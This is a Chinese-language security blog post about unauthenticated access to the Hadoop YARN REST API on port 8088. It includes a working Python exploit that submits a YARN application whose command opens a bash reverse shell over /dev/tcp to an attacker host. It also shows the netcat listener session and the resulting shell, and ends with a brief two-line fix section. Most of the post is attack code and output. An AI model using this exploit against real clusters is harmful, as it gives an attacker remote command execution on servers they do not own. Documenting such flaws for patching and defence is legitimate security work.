Hadoop Yarn REST API未授权访问漏洞

2020/08/17 14:56 · 未授权访问 ·  原创文章 · 455阅读 · 0评论

服务简介

Hadoop是一个由Apache基金会所开发的分布式系统基础架构,YARN是hadoop系统上的资源统一管理平台,其主要作用是实现集群资源的统一管理和调度,可以把MapReduce计算框架作为一个应用程序运行在YARN系统之上,通过YARN来管理资源。简单的说,用户可以向YARN提交特定应用程序进行执行,其中就允许执行相关包含系统命令。

YARN提供有默认开放在8088和8090的REST API(默认前者)允许用户直接通过API进行相关的应用创建、任务提交执行等操作,如果配置不当,REST API将会开放在公网导致未授权访问的问题,那么任何黑客则就均可利用其进行远程命令执行操作。

产生原因

未进行访问限制

未开启身份验证

漏洞利用

访问 http://192.168.83.99:8088/cluster 看到Hadoop YARN ResourceManager WebUI页面

使用exp进行反弹shell

#!/usr/bin/env python

import requests

target = 'http://192.168.83.99:8088/'
lhost = '192.168.83.70' # put your local host ip here, and listen at port 9999

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
        },
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)

执行 ‘nc -lvvp 9999’开启监听,执行代码‘python3 exp.py’,成功反弹shell

root@kali:~# nc -lvvp 9999
listening on [any] 9999 ...
192.168.83.99: inverse host lookup failed: Unknown host
connect to [192.168.83.70] from (UNKNOWN) [192.168.83.99] 58020
bash: cannot set terminal process group (214): Inappropriate ioctl for device
bash: no job control in this shell
<22961_0001/container_1596034022961_0001_01_000001# ls
ls
container_tokens
default_container_executor.sh
default_container_executor_session.sh
launch_container.sh
tmp
<22961_0001/container_1596034022961_0001_01_000001# 

修复方法

1)设置访问控制,不要暴露在公网上

2)设置身份验证,进制匿名访问

您可能感兴趣的文章

本文地址:https://www.ouyangxiaoze.com/2020/08/629.html
版权声明:本文为原创文章,版权归 欧阳小泽 所有,欢迎分享本文,转载请保留出处!

文件下载

boke112导航_独立博客导航平台

上一篇:
下一篇:

 发表评论


表情